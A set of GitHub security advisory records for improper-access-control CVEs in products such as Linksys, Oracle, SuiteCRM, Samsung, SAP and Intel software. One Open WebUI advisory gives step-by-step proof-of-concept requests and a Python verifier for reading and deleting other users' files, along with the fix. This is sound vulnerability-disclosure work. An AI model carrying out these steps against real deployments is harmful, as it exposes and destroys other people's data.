CWE-284

{
  "affected": [],
  "aliases": [
    "CVE-2024-27497"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-01T15:15:08Z",
    "severity": "HIGH"
  },
  "details": "Linksys E2000 Ver.1.0.06 build 1 is vulnerable to authentication bypass via the position.js file.",
  "id": "GHSA-vqw3-3gm8-35vm",
  "modified": "2024-08-16T18:30:56Z",
  "published": "2024-03-01T15:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27497"
    },
    {
      "type": "WEB",
      "url": "https://warp-desk-89d.notion.site/Linksys-E-2000-efcd532d8dcf4710a4af13fca131a5b8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-46848"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-17T10:54:02Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability in the WebLogic Server product of Oracle Fusion Middleware (component: Console).  Supported versions that are affected are 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where WebLogic Server executes to compromise WebLogic Server.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in WebLogic Server, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all WebLogic Server accessible data as well as  unauthorized access to critical data or complete access to all WebLogic Server accessible data. CVSS 3.1 Base Score 7.9 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).",
  "id": "GHSA-vqw4-qw3x-53p9",
  "modified": "2026-06-17T18:35:31Z",
  "published": "2026-06-17T18:35:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46848"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cspujun2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-46860"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-17T10:54:03Z",
    "severity": "CRITICAL"
  },
  "details": "Vulnerability in the MySQL Router product of Oracle MySQL (component: Router: General).  Supported versions that are affected are 9.0.0-9.7.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise MySQL Router.  Successful attacks of this vulnerability can result in takeover of MySQL Router. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
  "id": "GHSA-vr46-gpj9-36wg",
  "modified": "2026-06-17T18:35:32Z",
  "published": "2026-06-17T18:35:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46860"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cspujun2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-5353"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-03T13:15:11Z",
    "severity": "HIGH"
  },
  "details": "Improper Access Control in GitHub repository salesagility/suitecrm prior to 7.14.1.",
  "id": "GHSA-vr9r-v9gj-9422",
  "modified": "2023-10-03T15:30:34Z",
  "published": "2023-10-03T15:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5353"
    },
    {
      "type": "WEB",
      "url": "https://github.com/salesagility/suitecrm/commit/c43eaa311fb010b7928983e6afc6f9075c3996aa"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/3b3bb4f1-1aea-4134-99eb-157f245fa752"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-30720"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-06T04:15:15Z",
    "severity": "MODERATE"
  },
  "details": "PendingIntent hijacking in LmsAssemblyTrackerCTC prior to SMR Sep-2023 Release 1 allows local attacker to gain arbitrary file access.",
  "id": "GHSA-vrcg-wfmf-62mj",
  "modified": "2024-04-04T07:30:56Z",
  "published": "2023-09-06T06:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30720"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2023\u0026month=09"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2016-4407"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-10-13T14:59:00Z",
    "severity": "MODERATE"
  },
  "details": "The DSA algorithm implementation in SAP SAPCRYPTOLIB 5.555.38 does not properly check signatures, which allows remote authenticated users to impersonate arbitrary users via unspecified vectors, aka SAP Security Note 2223008.",
  "id": "GHSA-vrcm-r83p-fhmh",
  "modified": "2022-05-17T03:41:25Z",
  "published": "2022-05-17T03:41:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-4407"
    },
    {
      "type": "WEB",
      "url": "https://www.onapsis.com/research/security-advisories/sap-missing-signature-check-dsa-algorithm"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2016/Oct/32"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/93502"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2015-9021"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-06-13T20:29:00Z",
    "severity": "MODERATE"
  },
  "details": "In all Android releases from CAF using the Linux kernel, access control to SMEM memory was not enabled.",
  "id": "GHSA-vrcp-4qrq-4vf6",
  "modified": "2022-05-17T02:35:20Z",
  "published": "2022-05-17T02:35:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-9021"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2017-06-01"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/98874"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1038623"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-63409"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-24T16:24:06Z",
    "severity": "HIGH"
  },
  "details": "Privilege escalation and improper access control in GCOM EPON 1GE C00R371V00B01 allows remote authenticated users to modify administrator only settings and extract administrator credentials.",
  "id": "GHSA-vrfc-p4p2-v8r2",
  "modified": "2026-02-25T18:31:35Z",
  "published": "2026-02-24T18:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-63409"
    },
    {
      "type": "WEB",
      "url": "https://github.com/theShinigami/CVE-Disclosures/tree/main/CVE-2025-63409"
    },
    {
      "type": "WEB",
      "url": "http://gcom.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54010"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:12:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nOpen WebUI `v0.9.5` lets an authenticated user attach arbitrary `file_id` values to their own chat message without checking whether they own or can read those files. If the attacker then shares that chat and grants themselves read access, `has_access_to_file()` treats the victim file as accessible through the shared chat, and the file endpoints read or delete the victim file.\n\n## Impact\n\nSecurity boundary crossed: file confidentiality and integrity.\n\nAn authenticated attacker who knows or obtains a victim `file_id` can make Open WebUI authorize, through an attacker-owned shared chat:\n\n- reading the victim file via `GET /api/v1/files/{id}/content`, and\n- deleting the victim file via `DELETE /api/v1/files/{id}`.\n\n## Root Cause\n\nClient-controlled message file IDs are persisted without file authorization checks:\n\n```python\n# backend/open_webui/main.py\nawait Chats.insert_chat_files(\n    chat_id,\n    user_message.get(\u0027id\u0027),\n    [\n        file_item.get(\u0027id\u0027)\n        for file_item in user_message_files\n        if file_item.get(\u0027type\u0027) == \u0027file\u0027\n    ],\n    user.id,\n)\n```\n\n`insert_chat_files()` stores the provided IDs directly:\n\n```python\n# backend/open_webui/models/chats.py\nChatFileModel(\n    user_id=user_id,\n    chat_id=chat_id,\n    message_id=message_id,\n    file_id=file_id,\n)\n```\n\nLater, file authorization trusts shared-chat associations:\n\n```python\n# backend/open_webui/utils/access_control/files.py\nshared_chat_ids = await Chats.get_shared_chat_ids_by_file_id(file_id, db=db)\nif shared_chat_ids:\n    accessible_ids = await AccessGrants.get_accessible_resource_ids(\n        user_id=user.id,\n        resource_type=\u0027shared_chat\u0027,\n        resource_ids=shared_chat_ids,\n        permission=\u0027read\u0027,\n    )\n    if accessible_ids:\n        return True\n```\n\nThe download endpoint uses this helper:\n\n```python\n# backend/open_webui/routers/files.py\nif file.user_id == user.id or user.role == \u0027admin\u0027 or await has_access_to_file(id, \u0027read\u0027, user, db=db):\n    return FileResponse(file_path, ...)\n```\n\nOn affected versions this shared-chat branch is not gated on `access_type` (the grant lookup hardcodes `permission=\u0027read\u0027`, but nothing checks that the request itself is a read). The same forged association therefore also satisfies the `write` check that `DELETE /api/v1/files/{id}` performs, so the attacker can delete the victim file, not only read it.\n\nBecause the shared-chat branch ignores `access_type`, the deletion does not require the forged association at all. A user granted only **read** access to a chat that the owner legitimately shared can delete the owner\u0027s own files attached to that chat via `DELETE /api/v1/files/{id}`, since the read grant satisfies the `write` check. The forged association (above) broadens this to any victim `file_id`; a legitimate read-only share reaches it without any forgery.\n\n## PoC\n\n1. Attacker creates or uses a chat they own.\n2. Attacker sends `POST /api/chat/completions` or `POST /api/v1/chat/completions` where top-level `user_message.files` contains:\n\n```json\n[\n  {\n    \"type\": \"file\",\n    \"id\": \"VICTIM_FILE_ID\"\n  }\n]\n```\n\n3. Backend inserts a `chat_file` row linking the attacker chat to `VICTIM_FILE_ID`.\n4. Attacker shares the chat and grants read access to themselves or public access.\n5. Attacker requests:\n\n```text\nGET /api/v1/files/VICTIM_FILE_ID/content\n```\n\nExpected: 404/403 because the attacker does not own or otherwise have access to the victim file.\n\nActual: file authorization succeeds through the attacker-controlled shared-chat association.\n\n## Local Verification\n\nI verified the bug locally with Open WebUI\u0027s real `Chats.insert_chat_files()` and real `has_access_to_file()` implementations. The harness uses fake DB adapters only to avoid this environment\u0027s async SQLite hang; the security-sensitive logic under test is the application code.\n\nResult:\n\n```json\n{\n  \"before_chat_file_link_attacker_can_read\": false,\n  \"insert_sink\": {\n    \"db_commit_called\": true,\n    \"insert_returned_rows\": true,\n    \"stored_chat_ids\": [\n      \"attacker-chat\"\n    ],\n    \"stored_file_ids\": [\n      \"victim-file\"\n    ],\n    \"stored_user_ids\": [\n      \"attacker\"\n    ]\n  },\n  \"after_attacker_shared_chat_links_victim_file_attacker_can_read\": true,\n  \"confirmed\": true\n}\n```\n\nPoC:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVerifier for chat-file link authorization bypass.\n\nThis intentionally avoids the app DB because the local Python 3.13 async SQLite\nstack hangs in this checkout. It still executes Open WebUI\u0027s real\nhas_access_to_file() implementation, with fake model adapters standing in for\nthe DB tables.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport json\nimport os\nimport sys\nimport types\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\n\ndef prepare_imports() -\u003e None:\n    repo_root = Path(__file__).resolve().parents[1]\n    sys.path.insert(0, str(repo_root / \"backend\"))\n    os.environ[\"VECTOR_DB\"] = \"none\"\n\n    class DummyTyper:\n        def command(self, *args, **kwargs):\n            return lambda fn: fn\n\n    sys.modules.setdefault(\n        \"typer\",\n        types.SimpleNamespace(\n            Typer=lambda *args, **kwargs: DummyTyper(),\n            Option=lambda *args, **kwargs: None,\n            echo=lambda *args, **kwargs: None,\n            Exit=Exception,\n        ),\n    )\n    sys.modules.setdefault(\"uvicorn\", types.SimpleNamespace(run=lambda *args, **kwargs: None))\n\n\nclass FakeFiles:\n    async def get_file_by_id(self, file_id, db=None):\n        if file_id == \"victim-file\":\n            return SimpleNamespace(\n                id=\"victim-file\",\n                user_id=\"victim\",\n                meta={},\n            )\n        return None\n\n\nclass FakeKnowledges:\n    async def get_knowledges_by_file_id(self, file_id, db=None):\n        return []\n\n\nclass FakeGroups:\n    async def get_groups_by_member_id(self, user_id, db=None):\n        return []\n\n\nclass FakeChannels:\n    async def get_channels_by_file_id_and_user_id(self, file_id, user_id, db=None):\n        return []\n\n\nclass FakeModels:\n    async def get_models_by_user_id(self, user_id, permission=\"read\", db=None):\n        return []\n\n\nclass FakeChats:\n    def __init__(self, linked: bool):\n        self.linked = linked\n\n    async def get_shared_chat_ids_by_file_id(self, file_id, db=None):\n        if self.linked and file_id == \"victim-file\":\n            # This mirrors a chat_file row tying victim-file to the attacker\u0027s\n            # shared chat. The real insertion sink is Chats.insert_chat_files().\n            return [\"attacker-chat\"]\n        return []\n\n\nclass FakeAccessGrants:\n    def __init__(self, granted: bool):\n        self.granted = granted\n\n    async def has_access(self, *args, **kwargs):\n        return False\n\n    async def get_accessible_resource_ids(\n        self,\n        user_id,\n        resource_type,\n        resource_ids,\n        permission=\"read\",\n        user_group_ids=None,\n        db=None,\n    ):\n        if (\n            self.granted\n            and user_id == \"attacker\"\n            and resource_type == \"shared_chat\"\n            and \"attacker-chat\" in resource_ids\n            and permission == \"read\"\n        ):\n            return {\"attacker-chat\"}\n        return set()\n\n\nclass FakeDb:\n    def __init__(self):\n        self.added = []\n        self.committed = False\n\n    def add_all(self, rows):\n        self.added.extend(rows)\n\n    async def commit(self):\n        self.committed = True\n\n\nclass FakeDbContext:\n    def __init__(self, db):\n        self.db = db\n\n    async def __aenter__(self):\n        return self.db\n\n    async def __aexit__(self, exc_type, exc, tb):\n        return False\n\n\nasync def verify_insert_sink_accepts_victim_file_id():\n    import open_webui.models.chats as chats_module\n\n    fake_db = FakeDb()\n    chats_table = chats_module.Chats\n\n    original_context = chats_module.get_async_db_context\n    original_existing = chats_table.get_chat_files_by_chat_id_and_message_id\n\n    async def fake_existing(self, chat_id, message_id, db=None):\n        return []\n\n    try:\n        chats_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)\n        chats_table.get_chat_files_by_chat_id_and_message_id = types.MethodType(fake_existing, chats_table)\n\n        inserted = await chats_table.insert_chat_files(\n            chat_id=\"attacker-chat\",\n            message_id=\"attacker-message\",\n            file_ids=[\"victim-file\"],\n            user_id=\"attacker\",\n        )\n    finally:\n        chats_module.get_async_db_context = original_context\n        chats_table.get_chat_files_by_chat_id_and_message_id = original_existing\n\n    return {\n        \"insert_returned_rows\": bool(inserted),\n        \"db_commit_called\": fake_db.committed,\n        \"stored_file_ids\": [getattr(row, \"file_id\", None) for row in fake_db.added],\n        \"stored_chat_ids\": [getattr(row, \"chat_id\", None) for row in fake_db.added],\n        \"stored_user_ids\": [getattr(row, \"user_id\", None) for row in fake_db.added],\n    }\n\n\nasync def main() -\u003e None:\n    prepare_imports()\n\n    import open_webui.utils.access_control.files as file_acl\n\n    attacker = SimpleNamespace(id=\"attacker\", role=\"user\")\n\n    original = {\n        \"Files\": file_acl.Files,\n        \"Knowledges\": file_acl.Knowledges,\n        \"Groups\": file_acl.Groups,\n        \"Channels\": file_acl.Channels,\n        \"Chats\": file_acl.Chats,\n        \"Models\": file_acl.Models,\n        \"AccessGrants\": file_acl.AccessGrants,\n    }\n\n    try:\n        file_acl.Files = FakeFiles()\n        file_acl.Knowledges = FakeKnowledges()\n        file_acl.Groups = FakeGroups()\n        file_acl.Channels = FakeChannels()\n        file_acl.Models = FakeModels()\n\n        file_acl.Chats = FakeChats(linked=False)\n        file_acl.AccessGrants = FakeAccessGrants(granted=False)\n        before = await file_acl.has_access_to_file(\"victim-file\", \"read\", attacker)\n\n        file_acl.Chats = FakeChats(linked=True)\n        file_acl.AccessGrants = FakeAccessGrants(granted=True)\n        after = await file_acl.has_access_to_file(\"victim-file\", \"read\", attacker)\n\n        insert_sink = await verify_insert_sink_accepts_victim_file_id()\n\n        result = {\n            \"victim_file_id\": \"victim-file\",\n            \"victim_file_owner\": \"victim\",\n            \"attacker_id\": \"attacker\",\n            \"attacker_owns_file\": False,\n            \"insert_sink\": insert_sink,\n            \"before_chat_file_link_attacker_can_read\": before,\n            \"after_attacker_shared_chat_links_victim_file_attacker_can_read\": after,\n            \"confirmed\": (\n                before is False\n                and after is True\n                and insert_sink[\"insert_returned_rows\"] is True\n                and insert_sink[\"stored_file_ids\"] == [\"victim-file\"]\n                and insert_sink[\"stored_user_ids\"] == [\"attacker\"]\n            ),\n            \"sink\": \"Chats.insert_chat_files() accepts caller-supplied file_ids without checking file ownership/read access\",\n        }\n        print(json.dumps(result, indent=2, sort_keys=True))\n    finally:\n        for name, value in original.items():\n            setattr(file_acl, name, value)\n\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\n## Recommended Fix\n\nBefore calling `Chats.insert_chat_files()`, filter `user_message.files` to files the caller owns or can read:\n\n```python\nallowed_file_ids = []\nfor file_id in requested_file_ids:\n    file = await Files.get_file_by_id(file_id)\n    if file and (file.user_id == user.id or user.role == \u0027admin\u0027 or await has_access_to_file(file_id, \u0027read\u0027, user)):\n        allowed_file_ids.append(file_id)\n```\n\nAlso consider enforcing this inside `Chats.insert_chat_files()` so future call sites cannot create unauthorized `chat_file` associations.\n\nAdditionally, the shared-chat branch of `has_access_to_file()` should honour `access_type`, so a read grant cannot satisfy the write check used by file deletion.\n\n## Consolidation\n\nPer Open WebUI\u0027s Report Handling policy this consolidates independent reports of the same chat-file authorization flaws into one advisory and CVE:\n\n- Cross-user file READ via a forged `chat_file` association (`GET /api/v1/files/{id}/content`): @0xEr3n. Fixed by #25054, which gates `Chats.insert_chat_files()` so a caller can only link files they own or can read.\n- Cross-user file DELETION via the shared-chat branch ignoring `access_type` (`DELETE /api/v1/files/{id}`): reported independently by @oxsignal (earliest filing; reached via a legitimately read-only-shared chat, no forged association needed), by @0xEr3n (via the forged association), and by @5yu4n. Fixed by #24755, which makes the shared-chat branch honour `access_type`.\n\nAffected: `\u003c= 0.9.5`. Patched: `\u003e= 0.9.6`. One CVE for the consolidated advisory.",
  "id": "GHSA-vrhc-3fr6-pc3c",
  "modified": "2026-06-17T14:12:20Z",
  "published": "2026-06-17T14:12:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-vrhc-3fr6-pc3c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/pull/24755"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/pull/25054"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Forged chat-file link allows cross-user file read and deletion"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-32940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-16T17:16:05Z",
    "severity": "MODERATE"
  },
  "details": "Improper access control in Intel(R) RAID Web Console software for all versions may allow an authenticated user to potentially enable denial of service via adjacent access.",
  "id": "GHSA-vrj2-p3r5-2mq6",
  "modified": "2024-09-16T18:31:22Z",
  "published": "2024-09-16T18:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32940"
    },
    {
      "type": "WEB",
      "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00926.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}